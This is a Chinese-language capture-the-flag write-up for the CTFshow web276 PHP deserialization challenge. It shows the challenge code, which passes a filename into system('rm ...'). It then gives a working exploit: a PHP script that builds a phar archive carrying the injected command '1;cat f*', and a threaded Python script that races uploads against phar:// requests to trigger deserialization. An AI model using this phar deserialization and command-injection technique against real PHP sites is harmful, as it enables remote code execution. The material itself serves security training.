CTFshow-WEB入门-反序列化web276

题目代码

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
}else{
    echo 'where is flag?';
}

需要先写入phar包,然后条件竞争在其被删除前通过 phar:// 使其反序列化来命令执行

前置知识:

phar包在被可执行代码的文件包含函数通过 phar:// 处理时会反序列化

解题:

先在 php.ini 配置 phar.readonly = Off

通过PHP脚本生成phar包:

<?php
class filter{
    public $filename = '1;cat f*';
    public $filecontent = '';
    public $evilfile = true;
    public $admin = true;
}

$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");

$o = new filter();
$phar->setMetadata($o);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

利用Python脚本进行条件竞争:

import io
import requests
import threading

url = 'http://xxx.challenge.ctf.show/'
data = open('./phar.phar', 'rb').read()
flag = True

def write(): # 写入phar.phar
    requests.post(url+'?fn=phar.phar', data=data)

def unserialize(): # 触发反序列化
    global flag
    r = requests.get(url+'?fn=phar://phar.phar')
    if 'ctfshow{' in r.text and flag:
        print(r.text)
        flag = False

while flag: # 线程条件竞争,直到读到flag
    threading.Thread(target = write).start()
    threading.Thread(target = unserialize).start()
posted @ 2023-01-30 01:32  Hacker&Cat  阅读(203)  评论(0编辑  收藏  举报